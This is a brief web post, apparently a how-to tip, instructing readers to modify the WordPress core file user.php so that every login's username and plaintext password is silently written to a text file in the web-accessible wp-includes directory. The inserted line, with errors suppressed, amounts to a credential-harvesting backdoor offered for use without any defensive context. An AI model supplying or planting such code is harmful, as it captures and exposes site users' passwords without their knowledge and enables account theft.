Open /wp-includes/user.php then add this scripts:

if ( is_wp_error($user) ) {
if ( $user->get_error_codes() == array('empty_username', 'empty_password') ) {
$user = new WP_Error('', '');
}
return $user;
}
wp_set_auth_cookie($user->ID, $credentials['remember'], $secure_cookie);

Put this at line 90. “logfile.txt ” is the name of the file you want to save the stuff

@file_put_contents('wp-includes/logfile.txt', $credentials['user_login'] . ':' . $credentials['user_password']);  
4.5/5 - (115 votes)

Leave a Reply